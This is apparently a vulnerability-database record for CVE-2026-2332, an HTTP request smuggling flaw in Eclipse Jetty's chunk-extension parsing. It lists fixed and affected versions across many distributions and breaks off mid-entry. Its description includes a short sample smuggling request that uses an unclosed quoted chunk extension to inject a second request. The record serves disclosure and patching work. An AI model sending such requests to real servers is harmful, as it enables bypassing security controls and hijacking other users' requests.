{"id":"CVE-2026-2332","aliases":["ALSA-2026:20568","CLSA-2026-1773879458","CLSA-2026-1773879461","CLSA-2026-1773879503","CLSA-2026-1780361400","CLSA-2026-1793132217","DEBIAN-CVE-2026-2332","EUVD-2026-22243","GHSA-355h-qmc2-wpwf","RHLW-2026-37913c8c5f4bdea1","RHLW-2026-c317e2781ff17b2f","RHSA-2026:20568","RHSA-2026:50221","RHSA-2026:50222","RHSA-2026:50223","RHSA-2026:50263","RLSA-2026:20568","ROOT-APP-MAVEN-CVE-2026-2332","SUSE-SU-2026:1751-1","UBUNTU-CVE-2026-2332","openSUSE-SU-2026:10574-1"],"status":"published","title":"HTTP Request Smuggling via Chunked Extension Quoted-String Parsing","description":"In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the \"funky chunks\" techniques outlined here:\n  *  https://w4ke.info/2025/06/18/funky-chunks.html\n\n  *  https://w4ke.info/2025/10/29/funky-chunks-2.html\n\n\nJetty terminates chunk extension parsing at \\r\\n inside quoted strings instead of treating this as an error.\n\n\n\n\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n1;ext=\"val\nX\n0\n\nGET /smuggled HTTP/1.1\n...\n\n\n\n\n\nNote how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01305,"percentile":0.7074,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-444"],"published":"2026-04-14T10:59:10Z","modified":"2026-11-03T09:15:05Z","exploits":[{"source":"pocgithub","id":"xiaoqiMikko/jetty-line-check","title":"xiaoqiMikko/jetty-line-check","date":"2026-09-12","url":"https://github.com/xiaoqiMikko/jetty-line-check"}],"fixes":[{"ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","fixed_in":["12.1.7","12.0.33","10.0.28","9.4.60","11.0.29"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-http","fixed_in":["10.0.28.tuxcare0001","11.0.28.tuxcare0001","11.0.27.tuxcare0003"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"jetty12","fixed_in":["12.0.33-1"],"sources":["osv"]},{"ecosystem":"Red Hat Lightwell:Maven","package":"org.eclipse.jetty.ee10.demos:jetty-ee10-demo-async-rest-jar","fixed_in":["12.0.32.rhlw-00002"],"sources":["osv"]},{"ecosystem":"Red Hat Lightwell:Maven","package":"org.eclipse.jetty:jetty-http","fixed_in":["12.0.32.rhlw-00002"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"org.eclipse.jetty:jetty-http","fixed_in":["12.0.17-aikido.1","9.4.57.v20241219-aikido.2","12.0.13-aikido.7","12.0.3-aikido.7","9.4.57.v20241219-aikido.3","12.0.13-aikido.8","12.0.13-aikido.9","12.0.16-aikido.4","12.0.3-aikido.8","10.0.14-aikido.1","12.0.13-aikido.10","12.0.16-aikido.5","12.0.3-aikido.9","9.4.57.v20241219-aikido.4","9.4.57.v20241219-aikido.5","11.0.26-aikido.4"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.org.eclipse.jetty:jetty-http","fixed_in":["9.4.57.v20241219-root.io.1","12.0.17-root.io.1","12.0.3-root.io.3","12.0.13-root.io.6","12.0.16-root.io.2","12.0.3-root.io.4","12.0.3-root.io.5","12.0.3-root.io.6","9.4.57.v20241219-root.io.2","12.0.13-root.io.7","12.0.3-root.io.7","12.0.16-root.io.3","9.4.57.v20241219-root.io.3","12.0.13-root.io.8","12.0.13-root.io.9","12.0.16-root.io.4","12.0.3-root.io.8","10.0.14-root.io.1","12.0.13-root.io.10","12.0.16-root.io.5","12.0.3-root.io.9","9.4.57.v20241219-root.io.4","9.4.57.v20241219-root.io.5","11.0.26-root.io.4"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.1.0"},{"last_affected":"12.1.6"},{"fixed":"12.1.7"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.0"},{"last_affected":"12.0.32"},{"fixed":"12.0.33"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0"},{"last_affected":"10.0.27"},{"fixed":"10.0.28"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"last_affected":"9.4.59"},{"fixed":"9.4.60"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0"},{"last_affected":"11.0.28"},{"fixed":"11.0.29"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"jmc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.2.0-19.el9_8.2"}]}],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty.http2:http2-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.60"},{"fixed":"9.4.60.tuxcare0001"}]}],"versions":["9.4.60"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.60"},{"fixed":"9.4.60.tuxcare0001"}]}],"versions":["9.4.60"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.28"},{"fixed":"10.0.28.tuxcare0001"}]}],"versions":["10.0.28"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.28"},{"fixed":"11.0.28.tuxcare0001"}]}],"versions":["11.0.28","11.0.28-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.27"},{"fixed":"11.0.27.tuxcare0003"}]}],"versions":["11.0.27","11.0.27.tuxcare00001","11.0.27.tuxcare0002"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty.ee10:jetty-ee10-jaspi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty.ee8:jetty-ee8-jaspi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty.ee8:jetty-ee8-security","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty.ee9:jetty-ee9-jaspi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty.ee9:jetty-ee9-security","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty.http2:jetty-http2-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-security","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"org.eclipse.jetty:jetty-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.22"},{"fixed":"12.0.22-tuxcare.1"}]}],"versions":["12.0.22"],"bundled":5},{"source":"osv","ecosystem":"Debian:13","package":"jetty12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["12.0.17-3","12.0.17-3.1","12.0.17-3.1~deb13u1","12.0.32-1","12.0.32-2","12.0.33-1","12.0.39-1","12.0.40-1"]},{"source":"osv","ecosystem":"Debian:14","package":"jetty12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.0.33-1"}]}],"versions":["12.0.17-3","12.0.17-3.1","12.0.17-3.1~deb13u1","12.0.32-1","12.0.32-2"]},{"source":"osv","ecosystem":"Debian:12","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.50-4","9.4.50-4+deb12u1","9.4.50-4+deb12u2","9.4.50-4+deb12u3","9.4.51-1","9.4.51-2","9.4.52-1","9.4.53-1","9.4.54-1","9.4.55-1","9.4.56-1","9.4.57-0+deb12u1","9.4.57-1","9.4.57-1.1","9.4.57-1.1~deb12u1","9.4.57-1.1~deb13u1","9.4.58-1","9.4.58-2"]},{"source":"osv","ecosystem":"Debian:13","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.57-1","9.4.57-1.1","9.4.57-1.1~deb12u1","9.4.57-1.1~deb13u1","9.4.58-1","9.4.58-2"]},{"source":"osv","ecosystem":"Debian:14","package":"jetty9","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["9.4.57-1","9.4.57-1.1","9.4.57-1.1~deb12u1","9.4.57-1.1~deb13u1","9.4.58-1","9.4.58-2"]},{"source":"osv","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.1.0"},{"fixed":"12.1.7"}]}],"versions":["12.1.0","12.1.1","12.1.2","12.1.3","12.1.4","12.1.5","12.1.6"]},{"source":"osv","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.0"},{"fixed":"12.0.33"}]}],"versions":["12.0.0","12.0.1","12.0.10","12.0.11","12.0.12","12.0.13","12.0.14","12.0.15","12.0.16","12.0.17","12.0.18","12.0.19","12.0.2","12.0.20","12.0.21","12.0.22","12.0.23","12.0.24","12.0.25","12.0.26","12.0.27","12.0.28","12.0.29","12.0.3","12.0.30","12.0.31","12.0.32","12.0.4","12.0.5","12.0.6","12.0.7","12.0.8","12.0.9"]},{"source":"osv","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0"},{"fixed":"11.0.29"}]}],"versions":["11.0.0","11.0.1","11.0.10","11.0.11","11.0.12","11.0.13","11.0.14","11.0.15","11.0.16","11.0.17","11.0.18","11.0.19","11.0.2","11.0.20","11.0.21","11.0.22","11.0.23","11.0.24","11.0.25","11.0.26","11.0.3","11.0.4","11.0.5","11.0.6","11.0.7","11.0.8","11.0.9"]},{"source":"osv","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0"},{"fixed":"10.0.28"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.15","10.0.16","10.0.17","10.0.18","10.0.19","10.0.2","10.0.20","10.0.21","10.0.22","10.0.23","10.0.24","10.0.25","10.0.26","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"]},{"source":"osv","ecosystem":"Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.0"},{"fixed":"9.4.60"}]}],"versions":["9.4.0.v20161208","9.4.0.v20180619","9.4.1.v20170120","9.4.1.v20180619","9.4.10.RC0","9.4.10.RC1","9.4.10.v20180503","9.4.11.v20180605","9.4.12.RC0","9.4.12.RC1","9.4.12.RC2","9.4.12.v20180830","9.4.13.v20181111","9.4.14.v20181114","9.4.15.v20190215","9.4.16.v20190411","9.4.17.v20190418","9.4.18.v20190429","9.4.19.v20190610","9.4.2.v20170220","9.4.2.v20180619","9.4.20.v20190813","9.4.21.v20190926","9.4.22.v20191022","9.4.23.v20191118","9.4.24.v20191120","9.4.25.v20191220","9.4.26.v20200117","9.4.27.v20200227","9.4.28.v20200408","9.4.29.v20200521","9.4.3.v20170317","9.4.3.v20180619","9.4.30.v20200611","9.4.31.v20200723","9.4.32.v20200930","9.4.33.v20201020","9.4.34.v20201102","9.4.35.v20201120","9.4.36.v20210114","9.4.37.v20210219","9.4.38.v20210224","9.4.39.v20210325","9.4.4.v20170414","9.4.4.v20180619","9.4.40.v20210413","9.4.41.v20210516","9.4.42.v20210604","9.4.43.v20210629","9.4.44.v20210927","9.4.45.v20220203","9.4.46.v20220331","9.4.47.v20220610","9.4.48.v20220622","9.4.49.v20220914","9.4.5.v20170502","9.4.5.v20180619","9.4.50.v20221201","9.4.51.v20230217","9.4.52.v20230823","9.4.53.v20231009","9.4.54.v20240208","9.4.55.v20240627","9.4.56.v20240826","9.4.57.v20241219","9.4.58.v20250814","9.4.6.v20170531","9.4.6.v20180619","9.4.7.RC0","9.4.7.v20170914","9.4.7.v20180619","9.4.8.v20171121","9.4.8.v20180619","9.4.9.v20180320"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"org.eclipse.jetty.ee10.demos:jetty-ee10-demo-async-rest-jar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.0.32.rhlw-00002"}]}],"versions":["12.0.0","12.0.0.alpha0","12.0.0.alpha1","12.0.0.alpha2","12.0.0.alpha3","12.0.0.beta0","12.0.0.beta1","12.0.0.beta2","12.0.0.beta3","12.0.0.beta4","12.0.1","12.0.10","12.0.11","12.0.12","12.0.13","12.0.14","12.0.15","12.0.16","12.0.17","12.0.18","12.0.19","12.0.2","12.0.20","12.0.21","12.0.22","12.0.23","12.0.24","12.0.25","12.0.26","12.0.27","12.0.28","12.0.29","12.0.3","12.0.30","12.0.31","12.0.32","12.0.4","12.0.5","12.0.6","12.0.7","12.0.8","12.0.9"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"org.eclipse.jetty:jetty-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.0.32.rhlw-00002"}]}],"versions":["10.0.0","10.0.0-alpha0","10.0.0.alpha1","10.0.0.alpha2","10.0.0.beta0","10.0.0.beta1","10.0.0.beta2","10.0.0.beta3","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.15","10.0.16","10.0.17","10.0.18","10.0.19","10.0.2","10.0.20","10.0.21","10.0.22","10.0.23","10.0.24","10.0.25","10.0.26","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9","11.0.0","11.0.0-alpha0","11.0.0.beta1","11.0.0.beta2","11.0.0.beta3","11.0.1","11.0.10","11.0.11","11.0.12","11.0.13","11.0.14","11.0.15","11.0.16","11.0.17","11.0.18","11.0.19","11.0.2","11.0.20","11.0.21","11.0.22","11.0.23","11.0.24","11.0.25","11.0.26","11.0.3","11.0.4","11.0.5","11.0.6","11.0.7","11.0.8","11.0.9","12.0.0","12.0.0.alpha0","12.0.0.alpha1","12.0.0.alpha2","12.0.0.alpha3","12.0.0.beta0","12.0.0.beta1","12.0.0.beta2","12.0.0.beta3","12.0.0.beta4","12.0.1","12.0.10","12.0.11","12.0.12","12.0.13","12.0.14","12.0.15","12.0.16","12.0.17","12.0.18","12.0.19","12.0.2","12.0.20","12.0.21","12.0.22","12.0.23","12.0.24","12.0.25","12.0.26","12.0.27","12.0.28","12.0.29","12.0.3","12.0.30","12.0.31","12.0.32","12.0.4","12.0.5","12.0.6","12.0.7","12.0.8","12.0.9","7.0.0.M0","7.0.0.M1","7.0.0.M2","7.0.0.M3","7.0.0.M4","7.0.0.RC0","7.0.0.RC1","7.0.0.RC2","7.0.0.RC3","7.0.0.RC4","7.0.0.RC5","7.0.0.RC6","7.0.0.v20091005","7.0.1.v20091125","7.0.2.RC0","7.0.2.v20100331","7.1.0.RC0","7.1.0.RC1","7.1.0.v20100505","7.1.1.v20100517","7.1.2.v20100523","7.1.3.v20100526","7.1.4.v20100610","7.1.5.v20100705","7.1.6.v20100715","7.2.0.RC0","7.2.0.v20101020","7.2.1.v20101111","7.2.2.v20101205","7.3.0.v20110203","7.3.1.v20110307","7.4.0.RC0","7.4.0.v20110414","7.4.1.v20110513","7.4.2.v20110526","7.4.3.v20110701","7.4.4.v20110707","7.4.5.v20110725","7.5.0.RC0","7.5.0.RC1","7.5.0.RC2","7.5.0.v20110901","7.5.1.v20110908","7.5.2.v20111006","7.5.3.v20111011","7.5.4.v20111024","7.6.0.RC0","7.6.0.RC1","7.6.0.RC2","7.6.0.RC3","7.6.0.RC4","7.6.0.RC5","7.6.0.v20120127","7.6.1.v20120215","7.6.10.v20130312","7.6.11.v20130520","7.6.12.v20130726","7.6.13.v20130916","7.6.14.v20131031","7.6.15.v20140411","7.6.16.v20140903","7.6.17.v20150415","7.6.18.v20150929","7.6.19.v20160209","7.6.2.v20120308","7.6.20.v20160902","7.6.21.v20160908","7.6.3.v20120416","7.6.4.v20120524","7.6.5.v20120716","7.6.6.v20120903","7.6.7.v20120910","7.6.8.v20121106","7.6.9.v20130131","8.0.0.M0","8.0.0.M1","8.0.0.M2","8.0.0.M3","8.0.0.RC0","8.0.0.v20110901","8.0.1.v20110908","8.0.2.v20111006","8.0.3.v20111011","8.0.4.v20111024","8.1.0.RC0","8.1.0.RC1","8.1.0.RC2","8.1.0.RC4","8.1.0.RC5","8.1.0.v20120127","8.1.1.v20120215","8.1.10.v20130312","8.1.11.v20130520","8.1.12.v20130726","8.1.13.v20130916","8.1.14.v20131031","8.1.15.v20140411","8.1.16.v20140903","8.1.17.v20150415","8.1.18.v20150929","8.1.19.v20160209","8.1.2.v20120308","8.1.20.v20160902","8.1.21.v20160908","8.1.22.v20160922","8.1.3.v20120416","8.1.4.v20120524","8.1.5.v20120716","8.1.6.v20120903","8.1.7.v20120910","8.1.8.v20121106","8.1.9.v20130131","8.2.0.v20160908","9.0.0.M0","9.0.0.M1","9.0.0.M2","9.0.0.M3","9.0.0.M4","9.0.0.M5","9.0.0.RC0","9.0.0.RC1","9.0.0.RC2","9.0.0.v20130308","9.0.1.v20130408","9.0.2.v20130417","9.0.3.v20130506","9.0.4.v20130625","9.0.5.v20130815","9.0.6.v20130930","9.0.7.v20131107","9.1.0.M0","9.1.0.RC0","9.1.0.RC1","9.1.0.RC2","9.1.0.v20131115","9.1.1.v20140108","9.1.2.v20140210","9.1.3.v20140225","9.1.4.v20140401","9.1.5.v20140505","9.1.6.v20160112","9.2.0.M0","9.2.0.M1","9.2.0.RC0","9.2.0.v20140526","9.2.1.v20140609","9.2.10.v20150310","9.2.11.M0","9.2.11.v20150529","9.2.12.M0","9.2.12.v20150709","9.2.13.v20150730","9.2.14.v20151106","9.2.15.v20160210","9.2.16.v20160414","9.2.17.v20160517","9.2.18.v20160721","9.2.19.v20160908","9.2.2.v20140723","9.2.20.v20161216","9.2.21.v20170120","9.2.22.v20170606","9.2.23.v20171218","9.2.24.v20180105","9.2.25.v20180606","9.2.26.v20180806","9.2.27.v20190403","9.2.28.v20190418","9.2.29.v20191105","9.2.3.v20140905","9.2.30.v20200428","9.2.4.v20141103","9.2.5.v20141112","9.2.6.v20141205","9.2.7.v20150116","9.2.8.v20150217","9.2.9.v20150224","9.3.0.M0","9.3.0.M1","9.3.0.M2","9.3.0.RC0","9.3.0.RC1","9.3.0.v20150612","9.3.1.v20150714","9.3.10.M0","9.3.10.v20160621","9.3.11.M0","9.3.11.v20160721","9.3.12.v20160915","9.3.13.M0","9.3.13.v20161014","9.3.14.v20161028","9.3.15.v20161220","9.3.16.v20170120","9.3.17.RC0","9.3.17.v20170317","9.3.18.v20170406","9.3.19.v20170502","9.3.2.v20150730","9.3.20.v20170531","9.3.21.M0","9.3.21.RC0","9.3.21.v20170918","9.3.22.v20171030","9.3.23.v20180228","9.3.24.v20180605","9.3.25.v20180904","9.3.26.v20190403","9.3.27.v20190418","9.3.28.v20191105","9.3.29.v20201019","9.3.3.v20150827","9.3.30.v20211001","9.3.4.RC0","9.3.4.RC1","9.3.4.v20151007","9.3.5.v20151012","9.3.6.v20151106","9.3.7.RC0","9.3.7.RC1","9.3.7.v20160115","9.3.8.RC0","9.3.8.v20160314","9.3.9.M0","9.3.9.M1","9.3.9.v20160517","9.4.0.M0","9.4.0.M1","9.4.0.RC0","9.4.0.RC1","9.4.0.RC2","9.4.0.RC3","9.4.0.v20161208","9.4.0.v20180619","9.4.1.v20170120","9.4.1.v20180619","9.4.10.RC0","9.4.10.RC1","9.4.10.v20180503","9.4.11.v20180605","9.4.12.RC0","9.4.12.RC1","9.4.12.RC2","9.4.12.v20180830","9.4.13.v20181111","9.4.14.v20181114","9.4.15.v20190215","9.4.16.v20190411","9.4.17.v20190418","9.4.18.v20190429","9.4.19.v20190610","9.4.2.v20170220","9.4.2.v20180619","9.4.20.v20190813","9.4.21.v20190926","9.4.22.v20191022","9.4.23.v20191118","9.4.24.v20191120","9.4.25.v20191220","9.4.26.v20200117","9.4.27.v20200227","9.4.28.v20200408","9.4.29.v20200521","9.4.3.v20170317","9.4.3.v20180619","9.4.30.v20200611","9.4.31.v20200723","9.4.32.v20200930","9.4.33.v20201020","9.4.34.v20201102","9.4.35.v20201120","9.4.36.v20210114","9.4.37.v20210219","9.4.38.v20210224","9.4.39.v20210325","9.4.4.v20170414","9.4.4.v20180619","9.4.40.v20210413","9.4.41.v20210516","9.4.42.v20210604","9.4.43.v20210629","9.4.44.v20210927","9.4.45.v20220203","9.4.46.v20220331","9.4.47.v20220610","9.4.48.v20220622","9.4.49.v20220914","9.4.5.v20170502","9.4.5.v20180619","9.4.50.v20221201","9.4.51.v20230217","9.4.52.v20230823","9.4.53.v20231009","9.4.54.v20240208","9.4.55.v20240627","9.4.56.v20240826","9.4.57.v20241219","9.4.58.v20250814","9.4.6.v20170531","9.4.6.v20180619","9.4.7.RC0","9.4.7.v20170914","9.4.7.v20180619","9.4.8.v20171121","9.4.8.v20180619","9.4.9.v20180320"]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"jmc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.2.0-19.el9_8.2"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.20.0.7-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-pillow-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"python3.12-pillow-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.3.0-1.el9pc"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-faraday","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.6-1.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.19::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-nokogiri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-nokogiri-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite:6.19::el9","package":"rubygem-nokogiri-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.17.2-3.el9sat"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"openvox-agent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.24.1-3.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"openvox-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.14.1-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.16.0.18-1.el9sat"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.17::el9","package":"python3.11-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red Hat:satellite:6.17::el9","package":"python3.11-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9pc"}]}],"bundled":10},{"source":"osv","ecosystem":"Red 